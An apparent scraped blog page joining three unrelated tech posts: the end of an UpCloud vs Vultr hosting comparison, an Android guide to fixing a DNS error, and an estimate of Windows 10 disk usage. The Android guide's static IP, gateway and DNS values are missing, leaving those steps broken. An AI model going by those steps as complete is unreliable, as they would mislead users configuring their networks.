When it comes to features, we will compare the essential features that is expected to be available when using cloud servers and the additional features that one might offer compared to the other.

Features UpCloud Vultr
Backup Available Available
Cloning Instances Available Available
+ Cloning as Template Available (Paid per hour of storage) Available (Snapshots, Free; Price subject to change anytime)
+ Attach additional SSD Available Available
+ Attach additional HDD Available
+ Ready ISOs Available Available
+ Custom ISO Manual Available
Locations 9 Locations 17 Locations
+ Email Available Available
+ Ticket / Live Chat No Ticket; 24/7 Live Chat Ticket Only; No Live Chat
+ Credit Card / Debit Card Available Available
+ Paypal Accepted Accepted
Uptime 100% Uptime SLA 100% Uptime SLA

Verdict: Is UpCloud a good Vultr alternative?

To end this review, I believe that UpCloud deserves to be recognized. Having a live chat support which is lacking in Vultr and other companies like DO provides a good impression that the company is up for the competition. UpCloud also delivers unique features which I personally find useful such as adding additional hdd (lesser cost per hour) if you need a hefty amount of storage just for backups and less frequently accessed files. It offers more flexibility in setup, configuration and at the same time provides better performance/price ratio.

One thing that needs to be improved in UpCloud is the custom ISO upload feature. Uploading custom ISO’s in your instances in Vultr is as simple as pasting the ISO link and Vultr will automatically grab the ISO file and store it for you. UpCloud on the other hand, you’ll have to create a separate drive, download it using wget or a tool using command line, and then mount it on the system.

Also, cloning a server instance from one location to another needs to be improved in UpCloud. It took 2-4 hours to clone a 10$ server hosted in Singapore to US while in Vultr it took only around 30-1 hour tops.

However despite these additional feature flaws, what matters is the performance you get with the price you pay, reliability and support.

Vultr support system only relies on ticket submission while UpCloud gives you a free 24/7 support that you can contact anytime to help and assist you with your cloud instances.

Overall, UpCloud is a no-brainer the best Vultr alternative and if not also a good alternative for big cloud providers such as Digital Ocean, Linode, AWS, Google Cloud.

If you decide to give UpCloud a try, you can signup and get 25$ free credit for you to try the service. Credit card is required as proof and to prevent trial abuse.


September 14: As of September 14, the URL import function is already available in UpCloud! I believe they really do listen to customer feedback. You need to deploy a server first however then go to your server > resize > under storage you’ll see “Add from URL”. This will allow you to import ISO files remotely and store it in a hdd drive or maxiops drive.


You might be wondering how to fix DNS_PROBE_FINISHED_NXDOMAIN on Android, luckily here’s the perfect guide which you can follow along and get that error fixed in no time on your smartphone or android devices. Stick along and read through the step-by-step guides down below detailing all possible tried and tested solutions that will fix this error in no time!

This particular error that you might be experiencing is an issue related with your domain name server (DNS). If the DNS server fails to resolve the dns request, the error shows up hence prevents you from reaching certain or all websites. It is a common issue when using the default DNS servers set by your Internet Service Provider (ISP) which are known to be unreliable.


There are various fixes which we can apply to solve this particular error on your android device such as using the Google DNS / Cloudflare DNS over your ISP provider’s default DNS servers or using a DNS changer app to provide a more easy to configure setup whenever you encounter the same error on any of your Android devices.

To fix this, go ahead and follow the solutions below:

Fix 1: Change DNS to Cloudflare / Google DNS

Google and Cloudflare DNS servers are one of the biggest and most reliable services out there. These DNS server’s uptime is at around 99-100% reliability hence using them are one of the most practical solution to fix this dns error on your android device. To fix DNS_PROBE_FINISHED_NXDOMAIN on Android you can change the DNS setting to Google or Cloudflare DNS servers.

Change DNS on Android

To change the DNS setting on Android, follow these steps:

  1. Go to the Settings. Open WiFi settings
  2. Press and Hold currently connected WiFi network. Click on Modify Network.
  3. Check the Show advanced options, change the IP Setting to Static.
  4. Enter the IP Address (eg. or, etc).
  5. Set the Gateway to ( usually depends on your router.
  6. Scroll down, on the DNS 1 and 2 set it to and (Google DNS).
  7. Or, you can set it to Cloudflare DNS,, and Save once done.

Once done, close all your browsers and relaunch them. Go ahead and see if the problem got fixed. If you’re unable to follow along the steps above, you can try the next fix for this particular error down below.

Fix 2: Install DNS Changer on Play Store

Does the first solution sound too complicated? Another similar approach which you can do to to fix DNS_PROBE_FINISHED_NXDOMAIN on Android is to change your DNS without having to configure each WiFi networks or when using mobile data is to install DNS changer. With a click of a button, it will automatically change the DNS server used on your device.

Installing the Cloudflare DNS app is quite easy, simply:

  1. Open the Play Store app.
  2. Search for and install the app.
  3. Open the app and click on the toggle option.

Once done, try and see if the error DNS_PROBE_FINISHED_NXDOMAIN on Android still persists. Hopefully one of the solutions worked out for you and you’re now able to load up and browse through the internet without any problems.

Feel free to share this article with your friends or share your thoughts, comments and feedback down below!

READ ALSO: How to Improve Your Google Meet Video Quality(Opens in a new browser tab)

How much space does Windows 10 take

Ever wondered how much space does Windows 10 take on your laptop or desktop computers? In this article, I’ll be detailing every aspect of how much storage does Windows 10 take upon a fresh installation, and the ideal storage consumed by Windows after using and installing programs on it.

You might probably have hard disk drives (HDD) or solid-state drives (SSD) as your primary storage on your computers. Regardless of which type of technology you are using, you still want to end up minimizing the amount of unnecessary files stored inside these drives for optimal performance! Let’s go ahead and analyze the storage consumed by Windows 10 in detail!

How much space does Windows 10 take?

The storage capacity consumed by Windows 10 has a lot of factors affecting it. Starting from the device drivers, software updates, pre-installed software installations, and so on. However, generally speaking, we will look into the actual HDD or SSD capacity needed by Windows 10 given the most “general” kind of Windows 10 setup.

#1: Fresh Installation

Windows 10 Folder Size

On a fresh Windows 10 installation, the Windows folder itself already consumed a hefty 27.2 GB of storage alone. This storage does not include the Program Files and other user data folders that could also consume a few gigabytes of storage. Microsoft’s minimum free disk requirements when installing Windows 10 Operating System is at least 32 GB of free disk capacity.

Windows updates could also increase the storage consumption of Windows upon initial installation. Thus, the minimum requirement of at least 32 GB of free disk capacity is quite reasonable.

#2: Actual Usage

The actual storage capacity usage of Windows 10 will definitely increase over time as you will have to store your documents, files and folders as well as software installations such as productivity and office, photo and video editors, document processor, or even games on your computer.

However, there’s actually no definitive amount of “enough” storage as the actual storage consumption varies depending on user activity. In my case, having all the software and programs installed on my device, Program and Files alone already consumes 48 GB of storage! That 48 Gigabytes of storage already includes the entire collection of Adobe Creative Suite (Photoshop, Premiere, After Effects, Audition, Illustrator) along with other productivity software such as Microsoft Office, etc.

It is advisable to have at least 50 GB of free storage space if you’re a minimal user that doesn’t do heavy tasks on Windows 10. Take note also that the storage consumption doesn’t include any games on my computer as typically, modern games nowadays use 20 GB up to even 150 GB of storage space or even more! It is advisable to keep these games on a hard drive as it’s much more cost-effective and only keep the frequently used apps and programs on your system drive that’s hopefully already on a solid-state drive (SSD).


There is no definitive way of answering how much storage space is practically enough for you or for someone as again, it depends on the user activity. However, having an idea on how much storage space does Windows 10 take is crucial to have a baseline on the minimum system storage space do you really need to have on your laptop or desktop computers. Ideally, in the terms of storage, the more the better.

Hopefully this article will help you better understand the usage consumption of your operating system specifically Windows 10! Share this article or leave your comments, feedbacks or questions down below.